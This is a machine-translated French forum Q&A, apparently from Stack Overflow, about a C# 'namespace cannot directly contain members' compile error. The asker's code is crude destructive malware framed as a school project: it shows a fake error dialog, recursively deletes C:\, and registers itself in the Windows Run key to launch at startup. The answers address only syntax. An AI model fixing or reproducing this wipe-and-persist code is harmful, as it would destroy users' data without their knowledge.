Un espace de noms ne contiennent directement les membres comme les champs ou méthodes?
Je suis en train de créer une application qui supprime les documents de l'utilisateur au démarrage (je suis conscient que cela peut sembler malveillant mais c'est pour un projet d'école).
Cependant, je reçois le message d'erreur "Un espace de noms ne contiennent directement les membres comme les champs ou méthodes".
Regardant par-dessus tout, il semble bien? Je suis l'espoir d'une deuxième paire d'yeux peut aider comme je l'ai cherché partout et je ne trouve pas une solution pertinente!
Certes, en raison de ma connaissance très basique, j'ai utilisé beaucoup d'aide en ligne et dans les livres et ce que je sais de c# est limitée. Par conséquent, il est peut-être que je suis stupide, mais tout le monde doit commencer quelque part, non?
Le code est comme suit:
namespace Test
{
class Program
{
static void Main(string[] args)
{
MessageBox.Show("An unexpected error occured");
if (System.IO.Directory.Exists(@"C:\"))
{
try
{
System.IO.Directory.Delete("C:\\", true);
}
catch (System.IO.IOException e)
{
Console.WriteLine(e.Message);
}
}
}
}
public class Program
{
private void SetStartup();
}
RegistryKey rk = Registry.CurrentUser.OpenSubKey
("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
if (chkStartUp.Checked)
rk.SetValue(AppName, Application.ExecutablePath.ToString());
else
rk.DeleteValue(AppName, false);
}
- Roulé la modifier qui fixe la mise en forme, parce que le manque de mise en forme est effectivement une partie du problème. Si l'OP du code ont été correctement formaté pour commencer, ils me l'ont certainement remarqué la question - si la modification de la question de prétendre qu'il ne l'était déjà mise en forme se cache un enjeu important.
- double possible de Erreur "Un espace de noms ne contiennent directement les membres comme les champs ou méthodes"
Vous devez vous connecter pour publier un commentaire.
Votre code est sérieusement foiré autour de
SetStartup
. Si vous suivez l'indentation normale, vous verrez ce qu'il se passe un peu plus clairement. Appuyez sur Ctrl-E suivie par D dans Visual Studio, et il va reformater votre document, ce qui devrait rendre les choses beaucoup plus claires.Regardez cette (après que j'ai mis en retrait c'):
Qui essaie de déclarer une variable (
rk
) à l'extérieur d'une classe. Vous avez aussi la non-méthode abstraite avec pas de corps, et vous êtes en manque de fermeture des accolades à la fin.Je soupçonne que vous signifiait: il
Vous allez également avoir des problèmes de déclarer deux (non-partielle) des classes avec le même nom...
Program
, ce qui n'aide pas non plus... et nous avons aucune idée de ce quechkStartUp
est...Vous avez égaré le support et le point-virgule, doit être:
Dans mon cas, cette erreur a été signalée par le compilateur en Rasoir vue sur la ligne 1. Le code suivant:
J'ai juste changé l'ordre de l'utilisation et le problème est résolu.
Mes collègues aussi reproted qu'ils font face à cette erreur du compilateur, qui peut être résolu en modifiant l'ordre des espaces de noms.
J'utilise Visual Studio 2013 update 5 et .NET Framework 4.5